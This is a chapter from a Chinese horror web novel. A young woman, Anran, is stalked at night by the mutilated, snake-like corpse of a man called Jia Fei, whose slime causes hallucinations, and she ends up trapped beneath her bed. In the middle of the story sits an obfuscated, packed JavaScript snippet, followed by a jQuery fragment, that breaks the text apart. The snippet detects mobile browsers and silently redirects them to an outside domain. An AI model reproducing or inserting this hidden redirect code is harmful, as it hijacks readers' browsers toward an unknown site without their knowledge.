“哥?”
这回她的声音大了一点。
但回应的她还是只有:沙沙…
“沙沙…”
“沙沙…”
在楼下么?
她刚准备下楼去看看,就听“嘎吱”一声轻响。
安然的心猛地提到了嗓子眼儿。
这个声音了,她太熟悉了…
沙沙声一步一步拖上了木质的楼梯。
“嘎吱…”
“嘎吱…”
每上一个台阶都像是踩在了她的呼吸上,轧的她耳膜生疼。
嘎吱声戛然而止。
安然知道。
那东西,上来了…
黑暗如有实质。任凭安然睁大了眼睛,也只能看到无尽的黑。
门外的声音蓦地消失了,就像它刚刚从未出现过。
但她心里清楚,那声音不是错觉。
眼睛似乎是适应了一点黑暗,目光所及不再是污墨一般的黑,而是条条杠杠分出了深浅。
她侧头看向应该是窗户的位置,那边墙上有电灯的开关。
堆叠的窗帘垂挂下来,混杂的黑色折成了不同形状。
安然曾听人说,人在恐惧到极限的时候脑子里是一片空白的。
但她似乎恰好相反。
越是感到恐惧,她的脑子就越发的不受控制。那些乱七八糟的念头如同笼中逃脱的鸟儿,扑闪着翅膀在她脑子里横冲直撞:
锁过门了么?
锁了...还是只顺手关了一下?
刚刚那声音是老鼠的可能也挺大的…老鼠不就是那样窸窸窣窣的么?
所以走楼梯的声音才会那么轻…
轻的和纸一样…
对了,老头子这次出门之前做纸人了么?
说起来,他好像只有在她没在家的时候才做…
是因为她小时候给哪个纸人点过眼睛么?
她好像还给那些纸人点过眼睛的...
还有那沙沙声...
她是不是以前也听过来着?
艳绿的衣服,猩红的嘴,雪白的五官,空洞的眼睛,不会弯曲的四肢,走路的时候,摩擦纸片发出的沙沙、沙沙…
那好像是梦来着...
老爷子和哥哥都说是梦。
老爷子不靠谱,但哥哥不会骗她。
也是。
纸人怎么可能会动。
对。
老爷子说过疑心生暗鬼...人之所以会恐惧就是源自于未知。
不管门外的东西是什么,自己把门锁上总是没错的。
真要是她哥到时候再开不就行了?
安然不给自己反悔的余地,微凉的窗帘蹭过她手腕的时候带起微微的痒。
“吱嘎——”
地板如同不堪重负的老骡子发出尖锐破碎的声响。
她几步窜到门口,漆黑的走廊和灰白的房间泾渭分明的像是两个完全不同的世界。
安然停顿了几秒才突然反应过来,自己之所以能看到黑乎乎的门外——是因为一枚硕大的月亮不知道什么时候竟占据了整排窗面,莹莹的月光透过窗棂洒在老旧的木制地板上,木板在月光映衬下深深浅浅,但大多数都已经褪了色,拼接的地方不算光滑,有些微的鼓胀变形,边缘有还隐约翘了点木刺。
月亮...什么时候出来的?
这么近的距离...正常么?
还有这扇门,她明明记得自己顺手将门拉上了的。
但这会儿,门开了。
这意味着什么,再清楚不过。
再怎么错综复杂精妙绝伦拥有着树状结构的大脑,也不可能结出一颗违背个人自愿和社会常识的果实。
就像她此刻无法说服自己相信一只老鼠会开门还会撬锁一样。
沙沙…
呼叫声戛然而止。
这回,她听清了。
不是老鼠逃窜的窸窸窣窣,也不是纸张间的相互摩擦,而是有东西正紧贴着地板朝着房间的方向“游”了过来!
沙沙…
安然往后退了一步。
沙沙…
黑暗里窜出了一道不一样的光线,明暗的黑折射出怪异的形状,印在安然隐约泛点猩红的左边的瞳孔上。
她屏住呼吸,双眼紧盯着门外的那团黑。
猝不及防地——
一颗硕大的脑袋就那样兀自钻了进来!
安然被眼前的东西惊地愣在了原地。
一时间没反应过来自己看到的是个什么玩意儿。
那东西长着人的脑袋,头皮上贴着一层短短的青茬。
赤.裸的上半身没有胳膊,只隐约能看到一点手臂的轮廓。一道道青紫的淤痕印在裸露的皮肤上,看上去像是种奇异的花纹。
他的下半身同样赤.裸,两条腿并拢在一起。与其说是并拢,倒不如说是完全嵌在了在一起。
脚上没有鞋子,黑乎乎的脚心朝上,脚尖交叠重合,皮肤皲裂,露出了里面锈红色的血肉。
他的脸贴在了地上。
不止脸,身体和四肢也紧紧贴住地面,在地板上灵活扭动,发出沙沙、沙沙的声响。
与其说是人,不如说更像是一条蛇。
一条人形的花斑蛇。
眼看着那东西一个滑动就要滑到安然的脚边。安然“妈呀”一声,连人带被子直接扑到了床边,双脚一抬,滚到了床上。
那东西扑了个空,昂起的半截身子向后一折,柔软的像是没有骨头。
这张脸...
安然瞳孔骤然一缩,是早上来找茬的那对夫妻里的男人!
她想起那个保证书上的签名,好像是叫贾飞来着。
贾飞脸上的皮肤泛着不正常的青灰,脸颊更是肿的像是发面发过了的馒头,尤其那双倒三角眼眯成了一条狭小的缝儿,冷不丁那么一对上,还真跟蛇长得挺像。
安然有点回不过神:是梦吧?要不然怎么会看到贾飞出现在她的房间?
她使劲揉了揉眼睛,视线由模糊变得清晰:贾飞已如离弦之箭般朝着安然扑了过来。
艹!!!
安然就势一滚,余光却瞥见贾飞并没有扑向床边,反倒是速度极快地往她即将倒下的地方奔了过来。
她心中顿时警铃大作,暗叫一声不好,翻身下床的同时脚尖点地猛地一撑,借着惯性又重新回到了床上。
贾飞的身形猛的一滞,微微弓起身子,眼神阴翳地盯着安然。
安然捂着砰砰乱跳的心脏,看着围在床边绕来绕去的男人,脑子里一片空白。
这时怎么回事?
贾飞怎么会在这儿?
他不是...在警局么...那个接待他们的警员明明说过,这夫妻俩一时出不来的...
等等...
蓦地,安然眸光一动,视线落在贾飞并合的双腿上,一下子愣住了。
那是什么?
是...线么?
莹润的月光打在了贾飞身上,两腿间的透明的鱼线时隐时现,脚尖交叠重合,同样用鱼线固定在了一起。
被砍断的双臂和缝在一起的脚...
贾飞是...死了吧...
他这个样子怎么看都不像还活着。
死在警局了?可能么?他为什么会来找自己?难不成是自己那该死的招鬼体制又‘显灵’了?
时间在无声的对峙中,显得格外漫长。
安然盯着床下的贾飞,也许是10分钟,也许是20分钟,也许可能已经过去了好几个小时。
不知道为什么,她突然产生了一种也许自己要永远被困在这里了的错觉。
中途安然也曾试着和贾飞交流找出破局的关键来着,可贾飞的嘴巴就像是被502粘住了一样,任凭她说的口干舌燥,人家压根不搭理她,只自顾自在地上游走。
虽然暂时看来没什么危险,但她总不能一辈子待在床上不下来吧?!
更何况她的直觉告诉她,贾飞的目标就是自己。
因为未知,所以恐惧。
安然知道,她不能再傻等,她得离开这里。可刚想起身,鼻间却隐隐闻到了一股奇怪的气味。
有点像之前她用来消炎的芦荟胶。但比那个味道浓一点,还带着一点淡淡的苦。
安然皱着鼻子闻了一会儿,不是错觉。
这味儿哪来的?
视线在房间内逡巡。
什么都没有。
没多什么,也没少什么。
只是窗外的月亮好像更大了。月光打在深深浅浅的木质地板上,从这个角度看过去隐隐泛着层油光。
空气中那种淡淡的苦涩的味道更浓了。
安然皱着眉想要找出气味的源头,可刚一站起来,就感觉床铺一斜,像是陷进了泥里,矮了一节。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15854215|175810||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
错觉么?
她站在原地不敢动弹,视线微微下移,扫到了一侧的床脚,床脚深深陷在了地板里,她的床的确矮了一节。
艹!!!
她心中一沉。
地板上铺着厚厚的一层黏液,泛着一种让人不舒服的油腻的黄,像是一块正在融化的黄油。
怪不得贾飞一直在地板上爬来爬去。
那些透明的粘液正在腐蚀房间里的地板,但凡他爬过的位置就像是融化的蜡,放在那附近的东西正在一点点的下陷。气味就是那些粘液散发出来的!
“咕咚!”
安然下意识转头,地板上赫然出现了一个巨大的黑洞,边缘像是流动的泥浆一直在下陷。
有什么东西掉陷进去了。
她的床也在渐渐往下陷。
贾飞昂起身子,抬起头眯缝的眼睛里满是恶意与嘲讽,那表情像是在说:别急,马上就到你了!
安然呼吸急促,照现在这速度,她马上就得成为盘中餐了!
只能拼一把了。
安然往后退了几步,她这一走动,床陷得更快了。
她猛地一个助跑,眼睛盯着桌子的高度猛地一跳。
碰!!!
安然的腿直接撞在桌子上。
恐惧先疼痛一步闯进安然的大脑。
完了!
上当了!!!
安然来不及思考,就势一滚,直接跌落在了地板上。
地板一片黏腻,湿滑的液体沾了她满身,一股说不出的苦涩腥味直冲鼻腔。
沙沙声紧随其后。
她来不及犹豫,借着黏液的润滑和身体的惯性,侧头平躺着身体朝着印象里床所在的位置猛地一滑。
脸颊被床底的木架蹭的火辣辣的疼。
成功了!
一股淡淡的血腥味在狭小的空间里弥漫开来,那味道混杂着身上的黏液以及床下的灰尘,有种说不出的难闻。
但这些,安然眼下已经完全顾不上了——-贾飞在看她。
透过床底的空隙,阴郁又怨毒地看着她。那目光如冰锥一般,刮过安然裸露在外的皮肤,乍起的汗毛让她忍不住一阵战栗,眼泪不受控制地溢出了眼眶。
他发疯似地扭动着身体想要钻进来,可床底的缝隙对于他来说太小了,只有交叠的双脚勉强能进来一点。
疼痛和恐惧如病毒般迅速蔓延,疯狂侵蚀着她仅剩的理智。
贾飞却忽地笑了。
干瘪青紫的嘴唇从脸颊两侧裂开,上下颚一分为二,被一层薄薄的肉膜连在了一起。一根猩红濡湿的舌头摇曳着柔软灵活的身姿,从黑洞洞的口腔里钻了出来,直接窜进了床底。
腥臭的涎液顺着分叉的舌尖滴落在地上,扬起的灰尘还没来的及飘散就被恶臭的液体重新包裹了起来。
安然只能拼命地往床底的另外一侧蹭,脸颊、手掌、大腿和膝盖火辣辣的疼,但眼下她什么都顾不得了,一想到那恶心的东西即将触碰到自己,就忍不住想要问候贾飞的祖宗十八代。
来不及了,那东西近在咫尺——
安然绝望地闭上了眼睛。
鼻间萦绕着一种肉类腐坏以及死亡的气息,安然说不清为什么会有那样的联想,但如果死亡也有气味的话,那么一定是她此刻闻到的这个味道:陈朽、苦涩、粘稠以及腐败。
但想象中的那种黏糊糊的触感并没有出现。
安然睁开了眼睛。
舌尖绷得笔直,正停留在距离她眼睛不到1厘米的位置,近的像是一眨眼,就能碰到她的睫毛。
她不敢动。
只能任由那恶心的舌头意.淫般从额头划到脸颊,最后停在了喉咙的位置。
即便隔着点距离,那种冰冷如刀锋的触感,游曳于喉间,竟让她不由生出了一种即将被割喉的恐惧。
昏暗的月光施舍般照进床底,让安然不至于被那么快就被黑暗吞噬。
贾飞的头死死抵在床底,圆棍似的身体拼命蠕动的样子有些滑稽,但安然笑不出来。对方身上粘液的作用根本就不是腐蚀,而是让人产生幻觉!
偏偏她就那么信了。
连伸脚触一下地板的想法都没有,就那么直愣愣的跳了下来。
这下好了,成了真正的瓮中捉鳖了!
时间在对峙中被无限延长。
贾飞进不来,安然也出不去。
她被困在里面了!